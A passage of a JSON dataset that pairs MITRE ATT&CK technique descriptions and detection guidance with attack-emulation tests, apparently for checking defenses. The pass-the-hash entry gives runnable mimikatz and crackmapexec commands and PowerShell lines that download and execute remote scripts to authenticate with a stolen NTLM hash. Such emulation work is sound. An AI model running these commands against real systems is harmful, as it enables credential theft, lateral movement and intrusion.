- "url": "https://pentestlab.blog/2017/04/03/token-manipulation/",
- "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/633.html",
- "source_name": "capec",
- "external_id": "CAPEC-633"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas
command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
- "modified": "2022-05-03T02:14:43.557Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Access Token Manipulation",
- "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas
command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser
(Citation: Microsoft LogonUser), DuplicateTokenEx
(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser
(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Metadata",
- "Process: Process Creation",
- "Command: Command Execution",
- "Active Directory: Active Directory Object Modification",
- "Process: OS API Execution",
- "User Account: User Account Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control",
- "Heuristic Detection",
- "System Access Controls",
- "Host Forensic Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1027.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Filip Kafka, ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
- "created": "2020-02-05T14:17:46.686Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1027.002",
- "url": "https://attack.mitre.org/techniques/T1027/002"
- },
- {
- "source_name": "Awesome Executable Packing",
- "url": "https://github.com/dhondta/awesome-executable-packing",
- "description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022."
- },
- {
- "source_name": "ESET FinFisher Jan 2018",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf",
- "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/570.html",
- "source_name": "capec",
- "external_id": "CAPEC-570"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) ",
- "modified": "2022-04-19T02:09:27.046Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Obfuscated Files or Information: Software Packing",
- "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Heuristic detection",
- "Signature-based detection"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1027.002"
- },
- "atomic_tests": []
- },
- "T1564.005": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
- "type": "attack-pattern",
- "created": "2020-06-28T22:55:55.719Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.005",
- "url": "https://attack.mitre.org/techniques/T1564/005"
- },
- {
- "source_name": "MalwareTech VFS Nov 2014",
- "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html",
- "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020."
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html",
- "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
- "source_name": "FireEye Bootkits"
- },
- {
- "source_name": "ESET ComRAT May 2020",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
- "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
- },
- {
- "source_name": "Kaspersky Equation QA",
- "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
- "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
- }
- ],
- "modified": "2020-06-29T15:12:11.024Z",
- "name": "Hidden File System",
- "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification",
- "Firmware: Firmware Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1151": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Erye Hernandez, Palo Alto Networks"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1151",
- "url": "https://attack.mitre.org/techniques/T1151"
- },
- {
- "external_id": "CAPEC-649",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/649.html"
- },
- {
- "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
- "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
- "source_name": "Mac Backdoors are back"
- }
- ],
- "modified": "2020-02-10T20:49:12.897Z",
- "name": "Space after Filename",
- "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1055.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744",
- "type": "attack-pattern",
- "created": "2020-01-14T01:30:41.092Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.005",
- "url": "https://attack.mitre.org/techniques/T1055/005"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
- "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
- "source_name": "FireEye TLS Nov 2017"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- }
- ],
- "modified": "2021-10-18T12:24:54.198Z",
- "name": "Thread Local Storage",
- "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Modification",
- "Process: Process Access",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1622": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "TruKno"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391",
- "created": "2022-04-01T17:59:46.156Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1622",
- "url": "https://attack.mitre.org/techniques/T1622"
- },
- {
- "source_name": "Checkpoint Dridex Jan 2021",
- "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/",
- "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."
- },
- {
- "source_name": "hasherezade debug",
- "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf",
- "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022."
- },
- {
- "source_name": "AlKhaser Debug",
- "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug",
- "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022."
- },
- {
- "source_name": "wardle evilquest partii",
- "url": "https://objective-see.com/blog/blog_0x60.html",
- "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."
- },
- {
- "source_name": "ProcessHacker Github",
- "url": "https://github.com/processhacker/processhacker",
- "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022."
- },
- {
- "source_name": "vxunderground debug",
- "url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug",
- "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent()
and NtQueryInformationProcess()
, or manually checking the BeingDebugged
flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW()
.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)",
- "modified": "2022-04-16T15:05:55.918Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Debugger Evasion",
- "x_mitre_detection": "Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1036.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Erye Hernandez, Palo Alto Networks"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86",
- "type": "attack-pattern",
- "created": "2020-02-10T20:47:10.082Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1036.006",
- "url": "https://attack.mitre.org/techniques/T1036/006"
- },
- {
- "external_id": "CAPEC-649",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/649.html"
- },
- {
- "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
- "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
- "source_name": "Mac Backdoors are back"
- }
- ],
- "modified": "2020-03-29T20:26:01.690Z",
- "name": "Masquerading: Space after Filename",
- "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin
, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt
, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt
(note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Metadata"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1036.006"
- },
- "atomic_tests": []
- },
- "T1550.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Blake Strom, Microsoft 365 Defender",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
- "type": "attack-pattern",
- "created": "2020-01-30T16:36:51.184Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550.002",
- "url": "https://attack.mitre.org/techniques/T1550/002"
- },
- {
- "external_id": "CAPEC-644",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/644.html"
- },
- {
- "source_name": "Stealthbits Overpass-the-Hash",
- "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/",
- "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021."
- }
- ],
- "modified": "2021-08-31T19:55:02.702Z",
- "name": "Use Alternate Authentication Material: Pass the Hash",
- "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Credential Request",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ],
- "identifier": "T1550.002"
- },
- "atomic_tests": [
- {
- "name": "Mimikatz Pass the Hash",
- "auto_generated_guid": "ec23cef9-27d9-46e4-a68d-6f75f7b86908",
- "description": "Note: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_name": {
- "description": "username",
- "type": "string",
- "default": "Administrator"
- },
- "ntlm": {
- "description": "ntlm hash",
- "type": "string",
- "default": "cc36cf7a8514893efccd3324464tkg1a"
- },
- "domain": {
- "description": "domain",
- "type": "string",
- "default": "%userdnsdomain%"
- },
- "mimikatz_path": {
- "description": "mimikatz windows executable",
- "type": "path",
- "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "command": "#{mimikatz_path} \"sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "crackmapexec Pass the Hash",
- "auto_generated_guid": "eb05b028-16c8-4ad8-adea-6f5b219da9a9",
- "description": "command execute with crackmapexec\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_name": {
- "description": "username",
- "type": "string",
- "default": "Administrator"
- },
- "crackmapexec_exe": {
- "description": "crackmapexec windows executable",
- "type": "path",
- "default": "C:\\CrackMapExecWin\\crackmapexec.exe"
- },
- "command": {
- "description": "command to execute",
- "type": "string",
- "default": "whoami"
- },
- "ntlm": {
- "description": "command",
- "type": "string",
- "default": "cc36cf7a8514893efccd3324464tkg1a"
- },
- "domain": {
- "description": "domain",
- "type": "string",
- "default": "%userdnsdomain%"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})\n",
- "prereq_command": "if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}\n"
- }
- ],
- "executor": {
- "command": "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Invoke-WMIExec Pass the Hash",
- "auto_generated_guid": "f8757545-b00a-4e4e-8cfb-8cfb961ee713",
- "description": "Use Invoke-WMIExec to Pass the Hash\nNote: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ntlm": {
- "description": "ntlm hash",
- "type": "string",
- "default": "cc36cf7a8514893efccd3324464tkg1a"
- },
- "user_name": {
- "description": "username",
- "type": "string",
- "default": "Administrator"
- },
- "command": {
- "description": "Command to run on target system",
- "type": "string",
- "default": "hostname"
- },
- "target": {
- "description": "System to run command on",
- "type": "string",
- "default": "$env:COMPUTERNAME"
- }
- },
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}",
- "name": "powershell"
- }
- }
- ]
- },
- "T1574.002": {
- "technique": {
- "x_mitre_platforms": [
